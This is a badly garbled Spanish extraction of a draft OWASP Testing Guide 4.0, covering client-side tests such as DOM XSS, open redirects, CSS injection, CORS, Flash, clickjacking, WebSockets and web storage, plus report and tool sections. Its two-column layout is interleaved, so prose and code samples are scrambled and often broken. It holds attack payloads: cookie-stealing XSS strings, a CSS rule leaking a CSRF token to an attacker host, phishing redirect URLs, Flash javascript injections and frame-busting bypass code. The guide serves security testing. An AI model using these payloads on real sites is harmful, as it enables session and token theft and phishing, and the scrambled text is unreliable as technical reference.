$(window).bind(“hashchange”,setMessage)
http://vulnerable.site/page.html?user=<img%20src=’aaa’%20onerror=alert(1) </body>
>
Es posible inyectar código HTML. La víctima que visita target.site será redireccionada automáticamente a un
fake-target.site donde un atacante podría colocar una página falsa para robar
las credenciales de la víctima.
Referencias
Recursos OWASP Además, también podrían utilizarse redireccionamientos abiertos para crear
maliciosamente una URL que evite el control de acceso a la aplicación y
• OWASP DOM based XSS Prevention Cheat Sheet luego envíe al atacante hacia funciones privilegiadas a las que normalmente
no debería poder acceder.
• DOMXSS.com: domxss.com
Modificando la URL de entrada no confiable para redirigir a un usuario hacia En el ejemplo anterior, la secuencia de comandos no realiza ninguna
un sitio malicioso, un atacante puede lanzar una estafa de phishing con éxito y validación de la variable "redir" que contiene la entrada del usuario a través de
robar las credenciales del usuario. Ya que la redirección se origina en la la cadena de consulta y, al mismo tiempo, no se aplica ningún tipo de
aplicación real, los intentos de phishing pueden tener un aspecto más codificación. Esta entrada no validada se pasa a las ventanas. El objeto de
confiable. localización origina una vulnerabilidad de redirección de URL.
Un ejemplo de un ataque de phishing puede ser el siguiente: Esto implica que un atacante podría redirigir a la víctima hacia un sitio
malicioso, simplemente enviando la siguiente cadena de consulta:
http://www.target.site?#redirect=www.fake-target.site
http://www.victim.site/?#www.malicious.site
Resumen
Note como si el código vulnerable es el siguiente: Una vulnerabilidad de inyección de CSS implica la capacidad de inyectar
código CSS arbitrario en el contexto de un sitio web de confianza que se
var redir = location.hash.substring(1); mostrará en el navegador de la víctima. El impacto de esta vulnerabilidad
puede variar en función de la carga CSS suministrada: podría causar un Cross-
if (redir) Site Scripting en circunstancias particulares, al robar datos realizando una
extracción de los datos confidenciales o modificaciones de la interfaz del
window.location=decodeURIComponent(redir); usuario.
También sería posible inyectar código JavaScript, por ejemplo, al enviar la Cómo probar
siguiente cadena de consulta:
Esta vulnerabilidad se produce cuando la aplicación permite a un usuario
http://www.victim.site/?#javascript:alert(document.cookie) suministrar CSS generado por el usuario o, si es posible, de alguna manera,
interferir con las hojas de estilo legítimas. Inyectar código en el contexto CSS
da al atacante la posibilidad de ejecutar JavaScript bajo ciertas condiciones,
así como extraer los valores sensibles a través de selectores CSS y funciones
Cuando trate de comprobar este tipo de problema, considere que algunos capaces de generar las solicitudes HTTP. Dar a los usuarios la posibilidad de
caracteres reciben un trato diferente en los distintos navegadores. Ademá,s personalizar sus propias páginas personales mediante el uso de archivos CSS
siempre considere la posibilidad de probar variantes absolutas de direcciones personalizados resulta un riesgo considerable y se debe evitar definitivamente.
URL como se describe aquí: kotowicz.net
• DOMXSS.com: domxss.com
}
</script>
Libros Blancos
• www.victim.com/#red;-o-link:’javascript:alert(1)’;-o-link-
• Krzysztof Kotowicz: “Local or Externa? Weird URL formats on
La misma vulnerabilidad puede aparecer en el caso típico de reflejo XSS en la Probando las vulnerabilidades de inyección CSS
que, por ejemplo, el código PHP se verá como el siguiente:
Se deben llevar a cabo pruebas manuales y analizar el código de JavaScript
<style> para entender si el atacante puede inyectar su propio contenido en el
contexto de la CSS. En particular, debemos estar interesados en cómo el
p{ sitio web devuelve las reglas CSS en función de las entradas.
</style> <b>Hi</b>
<script>
<style> El código anterior contiene una fuente "location.hash" que es controlada por
el atacante, quien puede inyectarlo directamente en el atributo "style" de un
input[name=csrf_token][value=^a] { elemento HTML. Como se mencionó anteriormente, esto puede llevar a
resultados diferentes basados en el navegador adoptado y la carga
background-image: url(http://attacker/log?a); suministrada.
<b>Hi</b>
Nos referimos a las pruebas desde el lado del cliente, por lo tanto, las pruebas $(“a”).click(function(){
de Caja Negra no suelen realizarse ya que el acceso al código fuente siempre
está disponible, y necesita ser enviado al cliente para su ejecución. Sin $(“b”).css(“color”,location.hash.slice(1));
embargo, puede suceder que al usuario se le dé un cierto grado de libertad
para poder suministrar código HTML; en ese caso, es necesario comprobar si });
es posible realizar inyecciones de CSS. Etiquetas como "link" y "style" deben
prohibirse. </script>
dominator.googlecode.com <script>
var d=document.createElement(“script”);
• Got Your Nose! How To Steal Your Precious Data Without if(location.hash.slice(1))
document.body.appendChild(d);
ruxcon.org
alert(document.cookie)
<script>
Cómo probar
function createCORSRequest(method, url) {
}
La siguiente tabla muestra los posibles puntos de inyección (sink) que
deberían revisarse:
xhr.send(null);
</script>
http://evil.com/html.html Los puntos más interesantes son los que permiten a un atacante incluir el
código del cliente (por ejemplo Javascript), ya que esto podría dar lugar a
---- vulnerabilidades XSS.
<?php
header(‘Access-Control-Allow-Origin: http://www.victim.com’); Cuando trate de comprobar este tipo de problema, considere que algunos
caracteres son tratados de manera diferente por diferentes navegadores.
?> Por otra parte, siempre tenga en cuenta la posibilidad de probar variantes
absolutas URL, como se describe aquí: http://kotowicz.net/absolute/
<script>alert(document.cookie);</script>
Herramientas
Pruebas de Caja Negra
• DOMinator: dominator.mindedsecurity.com
Las pruebas de Caja Negra para la manipulación de recursos del cliente,
por lo general, no se realizan, ya que el acceso al código fuente está
siempre disponible puesto que tiene que ser enviado al cliente para ser
ejecutado. Referencias
Cómo probar
• DOMXSS.com: domxss.com
Origin & Access-Control-Allow-Origin
Access-Control-Allow-Credentials
Este encabezado, como parte de una solicitud previa al mandato, indica Solicitud (note el encabezado de "Origen" :)
que la solicitud definitiva puede incluir las credenciales de usuario.
GET http://attacker.bar/test.php HTTP/1.1
Host: attacker.bar
Validación de entradas
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0)
La XMLHttpRequest L2 (o XHR L2) introduce la posibilidad de crear una Gecko/20100101 Firefox/24.0
solicitud entre dominios mediante la API XHR para la compatibilidad en
retrospectiva. Esto puede introducir vulnerabilidades de seguridad que Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
en XHR L1 no estaban presentes. Los puntos interesantes del código para
explotar serían las URL que son pasadas a XMLHttpRequest sin Accept-Language: en-US,en;q=0.5
validación, especialmente si las direcciones absolutas URL son
permitidas, ya que podrían conducir a la inyección del código. Del mismo Referer: http://example.foo/CORSexample1.html
modo, otras partes de la aplicación pueden ser explotadas si los datos de
respuesta no se escapan y podemos controlarlos proporcionando los Origin: http://example.foo
datos de entrada dados por el usuario.
Connection: keep-alive
Otros encabezados
Respuesta (note el encabezado ‘Access-Control-Allow-Origin’:)
Hay otros encabezados involucrados como el de Access-Control-Max-Age
que determina el tiempo en que una solicitud de verificación previa HTTP/1.1 200 OK
puede almacenar en caché en el navegador, o el de Access-Control-Expose-
Headers que indica qué encabezados son seguros para exponer a la API Date: Mon, 07 Oct 2013 18:57:53 GMT
de una especificación API CORS. Ambos son encabezados de respuesta
especificados en el documento del CORS W3C. Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Las pruebas de Caja Negra para encontrar temas relacionados con el Content-Length: 4
intercambio de recursos de origen cruzado, por lo general, no se realizan
debido a que el acceso al código fuente está siempre disponible, ya que Keep-Alive: timeout=15, max=99
tiene que ser enviado al cliente para ser ejecutado.
Connection: Keep-Alive
Content-Type: application/xml
Pruebas de Caja Gris
Revise los encabezados HTTP con el fin de entender cómo se utiliza CORS;
en particular, debemos estar muy interesados en el encabezado de origen [Response Body]
para aprender qué dominios se permiten. Además, la inspección manual
del JavaScript es necesaria para determinar si el código es vulnerable a la
inyección de código debido a una manipulación incorrecta de la entrada
Ejemplo 2: Problema de validación de entrada, XSS con CORS:
proporcionada por el usuario. A continuación se presentan algunos
ejemplos:
Este código hace una solicitud al recurso enviado después del carácter #
en la URL, utilizado inicialmente para obtener recursos en el mismo
servidor.
Ejemplo 1: Respuesta insegura con el comodín '*' en Access-Control-
Allow-Origin:
Código vulnerable:
<script>
http://example.foo/main.php#http://attacker.bar/file.php
req.onreadystatechange = function() {
Por ejemplo, una petición como ésta mostrará el contenido del archivo Solicitud y respuesta generada por esta URL:
profile.php:
GET http://attacker.bar/file.php HTTP/1.1
http://example.foo/main.php#profile.php
Host: attacker.bar
Referer: http://example.foo/main.php
HTTP/1.1 200 OK
Connection: keep-alive
Date: Mon, 07 Oct 2013 19:00:32 GMT
[Response Body]
Cómo probar
Herramientas
Dado que los archivos SWF son interpretados por una máquina virtual
integrada en el propio reproductor, estos pueden ser potencialmente
ZAP es una herramienta de pruebas de penetración integrada, fácil de usar descompilados y analizados. El descompilador más conocido y gratuito de
para encontrar vulnerabilidades en aplicaciones web. Está diseñada para ser ActionScript 2.0 es flare.
utilizada por personas con amplia experiencia en seguridad y, como tal, es
ideal para desarrolladores y evaluadores funcionales que son nuevos en el uso
de pruebas de penetración. ZAP ofrece escáneres automatizados, así como
un conjunto de herramientas que le permiten encontrar vulnerabilidades Para descompilar un archivo SWF con flare solo escriba:
de seguridad de forma manual.
$ flare hello.swf
Referencias
lo que dará lugar a un nuevo archivo llamado hello.flr.
Recursos OWASP
Prueba de Cross-site flashing (OTG-CLIENT-008) El Proyecto de Seguridad Flash de OWASP mantiene una lista actualizada de
desensambladores, descompiladores y otras herramientas de prueba
Resumen relacionadas con Adobe Flash.
codebase=”http://download.macromedia.com/pub/shockwave/cabs/flash/swfla #initclip
sh.cab#version=9,0,124,0”>
if (!_global.Locale) {
<param name=”movie” value=”somefilename.swf”>
var v1 = function (on_load) {
<param name=”FlashVars” value=”var1=val1&var2=val2”>
var v5 = new XML();
<embed src=”somefilename.swf” width=”550” height=”400”
FlashVars=”var1=val1&var2=val2”> var v6 = this;
</object> if (success) {
Las FlashVars también se pueden inicializar desde la URL: trace(‘Locale loaded xml’);
var v2 = 0;
En ActionScript 3.0, un desarrollador debe asignar explícitamente los while (v2 < v3.length) {
valores FlashVar a las variables locales. Por lo general, esto se ve como:
Locale.strings[v3[v2]._resname] = v3[v2].source.__text;
var paramObj:Object = LoaderInfo(this.root.loaderInfo).parameters;
++v2;
var var1:String = String(paramObj[“var1”]);
}
var var2:String = String(paramObj[“var2”]);
on_load();
} else {}
En ActionScript 2.0, cualquier variable global no inicializada se asume
como una variable de Flash. Las variables globales son aquellas variables };
que se anteponen con _root, _global o _level0. Esto significa que si un
atributo como: if (_root.language != undefined) {
};
Independientemente de si usted está viendo ActionScript 2.0 o
ActionScript 3.0, las variables de Flash pueden ser un vector de ataque.
Veamos una parte del código ActionScript 2.0 que es vulnerable:
El código anterior podría ser atacado mediante la solicitud:
http://victim/file.swf?language=http://evil.example.org/malicious.xml?
Ejemplo:
loadVariables()
loadMovie() Así que si una variable indefinida se utiliza como el primer argumento
para getURL:
getURL()
getURL(_root.URI,’_targetFrame’);
loadMovie()
loadMovieNum()
o si un FlashVar se utiliza como el parámetro que se envía a una función
FScrollPane.loadScrollContent() navigateToURL:
LoadVars.send navigateToURL(request);
XML.load ( ‘url’ )
LoadVars.load ( ‘url’ ) Entonces esto significará que es posible llamar a JavaScript en el mismo
dominio en el que la película está alojada, solicitando:
Sound.loadSound( ‘url’ , isStreaming );
http://victim/file.swf?URI=javascript:evilcode
NetStream.play( ‘url’ );
getURL(‘javascript:evilcode’,’_self’);
flash.external.ExternalInterface.call(_root.callback)
La prueba
getUrl(‘javascript:function(‘+_root.arg+’))
Con el fin de aprovechar una vulnerabilidad, el archivo SWF debe estar
alojado en el host de la víctima, y se deben utilizar las técnicas de XSS
reflejado. Eso obliga al navegador a cargar un archivo SWF puro
asfunction:
directamente en la barra de direcciones (mediante una redirección o
ingeniería social) o cargándolo a través de un iframe desde una página
Se puede utilizar el protocolo especial asfunction para que el enlace
maligna;
ejecute una función ActionScript en un archivo SWF en lugar de abrir una
<iframe src=’http://victim/path/to/file.swf’></iframe> URL. Hasta el lanzamiento de Flash Player 9 r48, asfunction podía ser
utilizada en cada método que tiene una URL como argumento. Después de
ese lanzamiento, asfunction se limita al uso dentro de un campo de texto
HTML.
Esto se debe a que en esta situación el navegador autogenera una página
HTML como si fuera invitada por el host de la víctima.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org
309
Guia de pruebas 4.0 "Borrador"
Esto significa que un evaluador podría intentar inyectar: Así que, si alguna parte del texto puede ser controlada por el evaluador,
una etiqueta A o una etiqueta IMG podría inyectarse, lo que resultaría en
asfunction:getURL,javascript:evilcode la modificación de la GUI o del uso de XSS en el navegador.
en cada método inseguro como: Algunos ejemplos de ataque con una etiqueta A:
http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode
Desde el punto de vista de seguridad, podría ser objeto de abuso si parte La etiqueta IMG podría ser utilizada también:
de su argumento puede ser controlado:
<img src=’http://evil/evil.swf’ >
flash.external.ExternalInterface.call(_root.callback);
<img src=’javascript:evilcode//.swf’ > (.swf is necessary to bypass flash
player internal filter)
El patrón de ataque para este tipo de defecto podría ser algo como lo
siguiente:
Nota: desde el lanzamiento de Flash Player 9.0.124.0 del Flash player XSS
eval(evilcode) ya no es explotable, pero la modificación GUI todavía se puede lograr.
ya que el JavaScript interno ejecutado por el navegador será algo como: Cross-Site Flashing
eval(‘try { __flash__toXML(‘+__root.callback+’) ; } catch (e) { El cross-site flashing (XSF) es una vulnerabilidad que tiene un efecto
“<undefined/>”; }’) similar a XSS.
Inyección HTML
Los objetos de campo de texto pueden hacer un HTML mínimo El XSF se produce desde diferentes dominios:
estableciendo:
• Una película carga otra película con la función loadMovie * o con otros
tf.html = true hacks y tiene acceso a la misma zona protegida o a parte de ella.
tf.htmlText = ‘<tag>text</tag>’
Esto podría llevarse a cabo forzando a un SWF defectuoso a cargar un Desde mayo de 2007, tres nuevas versiones de Flash Player fueron
archivo flash malicioso externo. Este ataque podría resultar en XSS o en la lanzadas al mercado por Adobe. Cada nueva versión restringe algunos de
modificación de la interfaz gráfica del usuario, con el fin de engañarlo los ataques descritos anteriormente.
para que inserte sus credenciales en un formulario flash falso. El XSF
podría ser utilizado en presencia de una inyección de Flash HTML o de
archivos SWF externos cuando se utilicen métodos loadMovie *.
Redirectores abiertos
Herramientas
En el caso de Flash, la URL maliciosa podría verse como: • Adobe SWF Investigator: labs.adobe.com
http://trusted.example.org/trusted.swf?getURLValue=http://www.evil-
spoofing-website.org/phishEndUsers.html
• SWFScan: downloadcrew.com
• Disassembler - Flasm: flasm.sourceforge.net "Clickjacking" (que es un subconjunto de “UI redressing”) es una técnica
maliciosa que consiste en engañar a un usuario web para que interactúe
(en la mayoría de los casos haciendo clic) con algo diferente a lo que el
usuario cree que está interactuando.
• Swfmill - Convert Swf to XML and vice versa: swfmill.org
Este tipo de ataque, que puede ser utilizado solo o en combinación con
• Debugger Version of Flash Plugin/Player: adobe.com otros ataques, podría potencialmente enviar comandos no autorizados o
revelar información confidencial mientras la víctima está interactuando
con páginas web aparentemente inofensivas. El término "clickjacking" fue
acuñado por Jeremiah Grossman y Robert Hansen en 2008.
Referencias
OWASP
Un ataque de clickjacking utiliza características aparentemente inocuas
• Proyecto de Seguirdad Flash OWASP: El Proyecto de Seguirdad OWASP
de HTML y Javascript para obligar a la víctima a realizar acciones no
Flash tiene incluso más referencias que las que se enumeran a
deseadas tales como hacer clic en un botón que parece realizar otra
continuación:
operación. Se trata de un problema de seguridad "del lado del cliente",
que afecta a una gran variedad de navegadores y plataformas
owasp.org
Para llevar a cabo este tipo de técnica, el atacante tiene que crear una
Libros Blancos
página web aparentemente inofensiva que cargue la aplicación al objetivo
de destino, mediante el uso de un iframe (convenientemente oculto
• Testing Flash Applications: A new attack vector for XSS
mediante el uso de código CSS).
and XSFlashing: owasp.org
adobe.com
Resumen
Documento Pre-release cortesía de Fernando Vela para drangonjar.org
312
Guia de pruebas 4.0 "Borrador"
Una vez que la víctima navega en la página web ficticia, piensa que está <html>
interactuando con la interfaz de usuario visible, pero efectivamente está
llevando a cabo acciones en la página oculta. <head>
Debido a que la página oculta es una página auténtica, el atacante puede </head>
engañar a los usuarios para realizar acciones que nunca tuvieron la
intención de hacer a través de un posicionamiento "ad hoc" de los <body>
elementos de la página web.
<p>Website is vulnerable to clickjacking!</p>
</body>
</html>
Los métodos para proteger una página web del clickjacking se pueden
Tenemos que descubrir si el sitio web que estamos probando no tiene dividir en dos grandes categorías:
ninguna protección contra ataques de clickjacking o, si los
desarrolladores han puesto en práctica algunas formas de protección, si
estas técnicas son susceptibles de ser evadidas. Una vez que sabemos que
• Protección del lado del cliente: Frame Busting
el sitio web es vulnerable, podemos crear una "prueba de concepto" para
explotar la vulnerabilidad.
• Protección del lado del servidor: X-Frame-Options
Protección del lado del clente: Frame Busting convierte en una violación de la seguridad en todos los navegadores
populares debido a la política de navegación de marco descendiente.
El método más común del lado del cliente, que ha sido desarrollado para política. Esta violación de seguridad impide la navegación contra-acción.
proteger a una página web del clickjacking, se llama Frame Busting y se
compone de un script o secuencia de comandos en cada página, que no El código del sitio de destino del frame busting (sitio de destino):
deben ser enmarcados. El objetivo de esta técnica es evitar que un sitio
funcione cuando se carga dentro de un marco. if(top.location!=self.locaton) {
parent.location = self.location;
• self.parent.location = document.location
• Atributo Sandbox: con HTML5 hay un nuevo atributo llamado
• parent.location.href = self.location
"sandbox". Éste permite un conjunto de restricciones en el contenido
• parent.location = self.location cargado en el iframe. Por el momento, este atributo sólo es compatible
con Chrome y Safari.
Modo Diseño: Paul Stone mostró un problema de seguridad en relación página 204:
con el "designMode" que puede ser activado en la página de referencia (a
través de document.designMode), desactivando JavaScript en la parte <?php
superior y el sub-marco. Actualmente, el modo de diseño se implementa
en Firefox e Internet Explorer 8. header(“HTTP/1.1 204 No Content”);
?>
El evento onBeforeUnload
El evento onbeforeunload podría ser utilizado para evadir el código de Página del atacante:
frame busting. Este evento sucede cuando el código de frame busting
quiere destruir el iframe cargando la URL en toda la página web y no sólo <script>
en el iframe. La función de controlador devuelve una cadena que se dirige
al usuario para confirmar si quiere salir de la página. Cuando se muestra var prevent_bust = 0;
esta cadena al usuario es probablemente para cancelar la navegación,
derrotando el intento del frame busting en el objetivo. window.onbeforeunload = function() {
prevent_bust++;
} }
</script> }, 1);
La técnica anterior requiere la interacción del usuario, pero el mismo <iframe src=”http://target site”>
resultado se puede lograr sin preguntar al usuario. Para ello, el atacante
tiene que cancelar automáticamente la solicitud de navegación de entrada
en un controlador de eventos onbeforeunload, presentando en varias
Filtro XSS
ocasiones (por ejemplo, cada milisegundo) una solicitud de navegación a
una página web que responde a un encabezado "HTTP / 1.1 204 No
A partir de Google Chrome 4.0 y de IE8, se introdujeron filtros XSS para
Content".
proteger a los usuarios contra ataques reflejados XSS. Nava y Lindsay han
observado que este tipo de filtros se puede utilizar para desactivar el
código de frame busting falso como código malicioso.
Ya que con esta respuesta el navegador no va a hacer nada, el resultado
de esta operación es la descarga de la tubería solicitada, inutilizando el
intento del frame busting.
• Filtro de IE8 XSS: este filtro tiene visibilidad en todas las solicitudes y
los parámetros de respuestas fluyen a través del navegador web y se los
if ( top != self )
Ejemplo:
Código de ataque:
<script>
<iframe src=”http://target site/?param=<script>if”>
var location = “xyz”;
</script>
• Chrome 4.0 XSSAuditor filter: Chrome tiene un comportamiento un poco
diferente en comparación con el filtro de IE8 XSS. De hecho, con este filtro un <iframe src=”http://target site”></iframe>
atacante podría desactivar un "guión" que pasa por su código en un parámetro de
la solicitud. Esto permite que la página de encuadre se dirija específicamente a un • Redefinición de localización en Safari 4.0.4: Para romper el código de
único fragmento que contiene el código de frame busting, dejando intactos todos frame busting con "top.location", es posible enlazar "localización" a una
los demás códigos. función a través de defineSetter (a través de la ventana), de manera que
un intento de leer o navegar a la "top.location" producirá un error.
</script>
Protección del lado del servidor: X-Frame-Options
las páginas web que no deben ser enmarcadas. Este encabezado puede destino permite autenticar y autorizar a los usuarios a realizar una
tomar los valores DENY (Negar), SAMEORIGIN (Mismo origen), ALLOW- transferencia de dinero a otra cuenta.
FROM origin (permitir desde el origen), o non-standard ALLOWALL (no
estándar permitir todo). El valor recomendado es DENY.
$_SESSION[‘antiCsrf’] = $csrfToken;
$form = ‘
Proxies
<form name=”transferForm” action=”confirm.php” method=”POST”>
Los web proxies son conocidos por añadir y quitar encabezados. En el
caso en el que un web proxy despoje al encabezado "X-Frame-Options", el <div class=”box”>
sitio pierde su protección de enmarcar.
<h1>BANK XYZ - Confirm Transfer</h1>
<p>
Versión móvil del sitio web
Do You want to confirm a transfer of <b>’.
También en este caso, ya que el encabezado"X-Frame-Options" tiene que $_RE UEST[‘amount’] .’ €</b> to account: <b>’. $_RE UEST[‘account’]
ser implementado en todas las páginas del sitio web, los desarrolladores .’</b> ?
pueden no haber protegido a la versión móvil de la página web.
</p>
<label>
Crear una "prueba de concepto"
<input type=”hidden” name=”amount”
Una vez que hemos descubierto que el sitio que estamos probando es value=”’ . $_RE UEST[‘amount’] . ‘” />
vulnerable a los ataques de clickjacking, podemos proceder con el
desarrollo de una "prueba de concepto" para demostrar la vulnerabilidad. <input type=”hidden” name=”account”
Es importante señalar que, como se mencionó anteriormente, estos value=”’ . $_RE UEST[‘account’] . ‘” />
ataques se pueden utilizar en combinación con otras formas de ataques
(por ejemplo ataques CSRF) y podrían conducir a vencer los tokens anti- <input type=”hidden” name=”antiCsrf”
CSRF. En este sentido, podemos imaginar que, por ejemplo, el sitio de value=”’ . $csrfToken . ‘” />
Documento Pre-release cortesía de Fernando Vela para drangonjar.org
317
Guia de pruebas 4.0 "Borrador"
<input type=”submit” class=”button” evadir la protección anti-CSRF y obligar a la víctima a hacer una
value=”Transfer Money” /> transferencia de dinero sin su consentimiento.
</label>
{ <html>
Como se puede ver, el código está protegido de ataques CSRF de dos <style type=”text/css”><!--
maneras: una con un token aleatorio generado en el segundo paso y la
otra, aceptando solamente el método de variable pasada vía POST. En esta *{
situación, un atacante podría forjar un ataque CSRF + Clickjacking para
margin:0;
} • Clickjacking
body {
background:#6699CC;
left:275px; • Gustav Rydstedt, Elie Bursztein, Dan Boneh, and Collin Jackson:
Herramientas
permitiendo situaciones del tipo Top 10 2013-A8-Cross-Site Request • Use herramientas para desarrolladores de Google Chrome para acceder a la
Forgery (CSRF) Red WebSocket de comunicación.
Confidencialidad e integridad • Use OWASP Zed Ataque Proxy (ZAP) 's WebSocket tab.
Autorización
Desinfección de entrada
4. Autenticación.
Al igual que con todos los datos procedentes de fuentes no confiables, los datos
deben ser adecuadamente desinfectados y codificados. Preste atención a los
• Los WebSockets no manejan la autenticación, por lo que deben llevarse a
problemas de Top 10 2013-A1-inyección y Top 10 2013-A3-Cross-Site Scripting
cabo pruebas normales de autenticación de Caja Negra. Consulte las secciones
(XSS).
de pruebas de autenticación de esta guía.
5. Autorización.
Cómo probar
• Los WebSockets no manejan la autorización, por lo que deben llevarse a cabo
Prueba de Caja Negra pruebas normales de habilitación de Caja Negra. Consulte las secciones de pruebas
de autorización de esta guía.
1. Identificar que la aplicación utiliza WebSockets.
• Inspeccione el código fuente del lado del cliente para los WS: // o WSS: //
esquema URI. 6. Desinfección de entrada.
• Use el OWASP Zed Attack Proxy (ZAP)’s WebSocket tab para volver a
reproducir y fuzz WebSocket para solicitud y respuestas. Consulte las
secciones de Prueba de validación de datos de esta guía.
Referencias
Libros Blancos
Enviar mensaje:
Resumen iframe1.contentWindow.postMessage(“Hello
world”,”http://www.example.com”);
Web Messaging (también conocido como Cross Document Messaging)
permite a las aplicaciones que se ejecutan en diferentes dominios
comunicarse de una manera segura. Antes de la introducción de la web de
mensajería, la comunicación de diferentes orígenes (entre iframes, Recibir mensaje:
pestañas y ventanas) fue restringida por la política del mismo origen y
puesta en vigor por el navegador; sin embargo, los desarrolladores
utilizan varios cortes con el fin de llevar a cabo estas tareas, la mayoría de
ellas principalmente inseguras. window.addEventListener(“message”, handler, true);
function handler(event) {
Esta restricción en el navegador está colocada para evitar que un sitio if(event.origin === ‘chat.example.com’) {
web malicioso pueda leer datos confidenciales de otros iframes, tabs, etc,
sin embargo, hay algunos casos donde dos legítimos sitios web de /* process message (event.data) */
confianza necesitan intercambiar datos entre sí.
} else {
Desde una perspectiva de seguridad, se debe comprobar si el código está La comprobación manual debe llevarse a cabo y el código JavaScript debe
filtrando y procesando mensajes solamente desde dominios de confianza. ser analizado para averiguar cómo se implementa Web Messaging. En
Normalmente, la mejor manera de lograr esto es usar una lista blanca. particular, debemos estar interesados en cómo el sitio web limita los
También dentro del dominio de envío, queremos asegurarnos de que el mensajes provenientes de dominio de confianza, y cómo los datos se
dominio de recepción se está indicando explícitamente y no '*' como el manejan incluso para los dominios de confianza. A continuación se
segundo argumento de postMessage (), ya que esta práctica podría presentan algunos ejemplos:
introducir problemas de seguridad y podría conducir al caso de un
cambio de dirección, o si el origen cambia por otros medios, el sitio web
estaría enviando datos a hosts desconocidos y, por lo tanto, filtrando
datos confidenciales a servidores maliciosos. Ejemplo de código vulnerable :
www.owasp.org
eval()
chat.owasp.org
o se inserta en el DOM a través de
forums.owasp.org
innerHTML
...
function callback(e) {
Prueba de Caja Gris
Resumen
Ejemplo de validación de entradas: La falta de controles de seguridad Almacenamiento local, también conocido como Web Storage o Offline
conducen a Cross-Site Scripting (XSS) Storage, es un mecanismo para almacenar los datos como pares
clave/valor atados a un dominio y forzados por la política del mismo
window.addEventListener(“message”, callback, true); origen (SOP). Hay dos objetos: localStorage que es persistente y está
destinado a sobrevivir los reinicios del navegador/sistema; y
sessionStorage que es temporal y sólo existe hasta que se cierre la
ventana o pestaña.
function callback(e) {
Referencias
sessionStorage
Recursos OWASP
La principal diferencia de localStorage es que se puede acceder a los
• OWASP HTML5 Security Cheat Sheet: owasp.org
datos almacenados en este objeto sólo hasta que la pestaña / ventana se
cierra, lo que lo hace un candidato perfecto para los datos que no
necesitan persistir entre sesiones. Ya que comparte la mayoría de las
Libros Blancos propiedades y los métodos getItem / setItem, la prueba manual debe
llevarse a cabo para buscar estos métodos e identificar en qué partes del
• Web Messaging Specification: whatwg.org código se accede al almacenamiento.
Cómo probar También podemos inspeccionar estos objetos a partir de las herramientas
de desarrollo de nuestro navegador.
Prueba de Caja Negra
Para el uso de Google Chrome, haga clic en menu -> Tools -> Developer var resource = location.hash.substring(1);
Tools. A continuación, en Recursos, verá "Almacenamiento local" y
"almacenamiento Web '.
localStorage.setItem(“item”,resource);
item = localStorage.getItem(“item”);
document.getElementById(“div1”).innerHTML=item;
<body onload=”action()”>
<div id=”div1”></div>
</body>
Referencias
Herramientas
Recursos OWASP
• Firebug: getfirebug.com
• OWASP HTML5 Security Cheat Sheet: owasp.org
Cómo Reportar
5 La realización de la parte técnica de la evaluación es sólo la mitad del proceso global de evaluación.
El producto final es la producción de un informe bien escrito e informativo. Un informe debe ser
fácil de entender y debe poner de relieve todos los riesgos encontrados durante la fase de
evaluación. El informe debe hacer un llamamiento tanto a la dirección ejecutiva como al personal
técnico.
2. Parámetros de prueba
1. Resumen Ejecutivo
2.2 Alcance del proyecto: En esta sección se describe el alcance acordado.
El resumen ejecutivo compendia los resultados generales de la evaluación
y ofrece a los administradores de negocios y propietarios de sistemas una
vista de alto nivel de las vulnerabilidades descubiertas. El lenguaje
utilizado debe ser más adecuado para las personas que no están al tanto 2.3 Planificación del proyecto: Esta sección muestra cuando la prueba
de la tecnología y debe incluir gráficos o diagramas que muestren el nivel inició y terminó.
de riesgo. Tenga en cuenta que es probable que los ejecutivos sólo tengan
tiempo para leer este resumen y quieran dos preguntas contestadas en un
lenguaje sencillo: 1) ¿Qué pasa? 2) ¿Cómo lo arreglo? Usted tiene una
página para responder a estas preguntas. 2.4 Objetivos: Esta sección muestra el número de aplicaciones o sistemas
específicos.
Recopilación de Información
OTG-INFO-003 Revisión de los Meta archivos del Servidor Web para la fuga de información
OTG-INFO-005 Revisión de los Comentarios de la Página Web y metadatos para la fuga de información
Pruebas de Autenticación
Pruebas de Autorización
Prueba de oráculo
Prueba de PostgreSQL
Pruebas de Acceso MS
Manejo de errores
Criptografía
OTG-CRYPST-001 Pruebas para cifrados SSL/TSL débiles, protección de la capa de transporte insuficiente
OTG-BUSLOGIC-005 Prueba de Límites de Número de veces que una función se puede utilizar
• Pantera usa una versión mejorada de SpikeProxy para proveer un motor más
poderoso de análisis para aplicaciones web. El objetivo principal de Pantera es
combinar capacidades automatizadas con pruebas manuales completas para
Esta sección se utiliza a menudo para describir las herramientas conseguir los mejores resultados en pruebas de penetración.
comerciales y de código abierto que fueron utilizadas para realizar la
evaluación. Cuando scripts personalizados o códigos son utilizados
durante la evaluación, estos deben darse a conocer en esta sección o se
deben señalar como un archivo adjunto. Los clientes aprecian cuando se OWASP Mantra - Security Framework
incluye la metodología utilizada por los consultores. Esto les da una idea
de la minuciosidad de la evaluación y de cuáles áreas fueron incluidas. • Mantra es un framework de pruebas de seguridad de aplicaciones web construido
sobre un navegador. Es compatible con Windows, Linux (32 y 64 bit) y Macintosh.
Además, puede trabajar con otros programas como ZAP usando funciones
administrativas de proxy incorporado que hace que sea mucho más conveniente.
References Industry standard vulnerability severity and risk rankings (CVSS) [1]: Mantra está disponible en nueve idiomas: árabe, chino - simplificado, chino -
first.org tradicional, inglés, francés, portugués, ruso, español y turco.
Herramientas de Pruebas de Caja Negra de código abierto • SPIKE está diseñado para analizar nuevos protocolos de red en busca de una
saturación de búfer o debilidades similares. Requiere un sólido conocimiento de C
Pruebas Generales para utilizarlo y sólo está disponible para la plataforma Linux.
• El Zed Attack Proxy (ZAP) es una herramienta de pruebas de penetración • Burp Proxy es un servidor proxy interceptor para pruebas de seguridad de
integrada, fácil de usar para encontrar vulnerabilidades en aplicaciones web. Está aplicaciones web, que permite interceptar y modificar todo el tráfico HTTP(S) que
diseñada para ser utilizada por personas con amplia experiencia en seguridad y, pasa en ambas direcciones; puede trabajar con certificados SSL personalizados y
como tal, es ideal para desarrolladores y evaluadores funcionales que son nuevos en clientes no proxy conscientes.
el uso de pruebas de penetración.
OWASP CAL9000
w3af - w3af.org
Firefox LiveHTTPHeaders - addons.mozilla.org
• w3af es un framework referencial de ataques y auditorías de aplicaciones web. El
